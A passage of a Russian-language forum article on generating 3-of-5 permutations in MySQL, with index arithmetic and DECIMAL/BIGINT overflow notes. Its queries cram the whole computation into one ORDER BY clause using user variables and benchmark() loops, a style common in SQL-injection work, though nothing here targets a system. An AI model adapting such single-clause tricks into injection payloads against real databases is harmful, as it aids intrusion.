15 => [1, 2, 0]
16 => [1, 2, 3]
17 => [1, 2, 4]
18 => [1, 3, 0]
19 => [1, 3, 2]
20 => [1, 3, 4]
21 => [1, 4, 0]
22 => [1, 4, 2]
23 => [1, 4, 3]
24 => [2, 0, 1]
25 => [2, 0, 3]
26 => [2, 0, 4]
27 => [2, 1, 0]
28 => [2, 1, 3]
29 => [2, 1, 4]
30 => [2, 3, 0]
31 => [2, 3, 1]
32 => [2, 3, 4]
33 => [2, 4, 0]
34 => [2, 4, 1]
35 => [2, 4, 3]
36 => [3, 0, 1]
37 => [3, 0, 2]
38 => [3, 0, 4]
39 => [3, 1, 0]
40 => [3, 1, 2]
41 => [3, 1, 4]
42 => [3, 2, 0]
43 => [3, 2, 1]
44 => [3, 2, 4]
45 => [3, 4, 0]
46 => [3, 4, 1]
47 => [3, 4, 2]
48 => [4, 0, 1]
49 => [4, 0, 2]
50 => [4, 0, 3]
51 => [4, 1, 0]
52 => [4, 1, 2]
53 => [4, 1, 3]
54 => [4, 2, 0]
55 => [4, 2, 1]
56 => [4, 2, 3]
57 => [4, 3, 0]
58 => [4, 3, 1]
59 => [4, 3, 2] 


5!/(5-3)! = 5 × 4 × 3 = 60

Насколько сложно найти здесь закономерности? Не сложнее, чем в первом примере, однако до этого следует уточнить некоторые моменты. Мы пользуемся системой место -> элемент, а не элемент -> место. При выводе 59-ой последовательности с помощью ORDER BY возникнет данная позиция:

PHP код:

0 <=> 4
1 <=> 3
2 <=> 2
3 <=> 9e9
4 <=> 9e9 


На страницу будут выведены только 3 элемента, их никак не хватит, так что возвращение традиционной системы неизбежно. Придется генерировать все последовательности на первом шагу, а на итерациях отдавать подготовленный результат.

Разберемся с закономерностями. Первая цифра получается так: X div 12. На первое место имеется 5 кандидатов, на второе - 4, на третье - 3. Как уже было выяснено, номер элемента в множестве определяется количеством размещений оставшихся элементов. Кол-во размещений на вторых и третьих местах равно 5 × 4 × 3 / 5 = 12, на третьем месте равно 12 / 4 = 4 × 3 / 4 = 3. т.е. все полученные формулы справедливы.

Реализуем:

PHP код:

SELECT * FROM (SELECT 0 UNION SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION SELECT 4)a WHERE 1 ORDER BY
      if(
          crc32(rand(9))in(7237891) and
          (@array := 0x0001020304) * (@number_e := @i := 6) * (@f := 60) * (@text := 53) * (@j := 0) * (@out := repeat(0x00, 10))
          * benchmark(3, 
                 (@out := insert(@out, 1 + ord(mid(@array, 1 + @number_e := (@text div @f := @f / (@i := @i - 1)), 1)), 1, char(@i)))*
                 (@array := insert(@array, 1 + @number_e, 1, trim(0x20))) * (@text := @text - @number_e * @f)
    ), 0, mid(@out, @j := @j + 1, 1)
) DESC LIMIT 3;

// В обратном порядке:
SELECT * FROM (SELECT 0 UNION SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION SELECT 4)a WHERE 1 ORDER BY
      if(
          crc32(rand(9))in(7237891) and
          (@array := 0x0001020304) * (@number_e := @i := 6) * (@f := 60)  * (@text := 53) * (@j := 0) * (@out := repeat(0xFF, 10))
          * benchmark(3, 
                 (@out := insert(@out, 1 + ord(mid(@array, 1 + @number_e  := (@text div @f := @f / (@i := @i - 1)), 1)), 1, char(@i)))*
                 (@array := insert(@array, 1 + @number_e, 1, trim(0x20))) * (@text := @text - @number_e * @f)
    ), 0, mid(@out, @j := @j + 1, 1)
) LIMIT 3; 


Работает!

Большие числа и MySQL

Как вы могли заметить, вычисления могут быть ресурсоемкими, и числа, для которых они применяются - совсем не маленькими. Что случается при переполнении простых типов данных вы можете прочитать здесь, а теперь о сложных.

Тип называется DECIMAL, одно число включает в себя до 65 десятичных разрядов (без потери точности), а также поддерживается практически всеми арифметическими операторами. Пример использования:

PHP код:

mysql> SET @test := 92233720368547758080 - 92233720368547758080;
Query OK, 0 rows affected (0.00 sec)

mysql> SELECT @test;
+-------+
| @test |
+-------+
|     0 |
+-------+
1 row in set (0.00 sec)


// 18 446 744 073 709 551 610 × 5 = 92 233 720 368 547 758 050
mysql> SELECT (@test + 5) * 18446744073709551610;
+-----------------------------------------------------+
| (@test + 5) * 18446744073709551610                  |
+-----------------------------------------------------+
| 92233720368547758050.000000000000000000000000000000 |
+-----------------------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT 5 * 18446744073709551610;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(5 * 18446744073709551610)' 


Спасибо за внимание!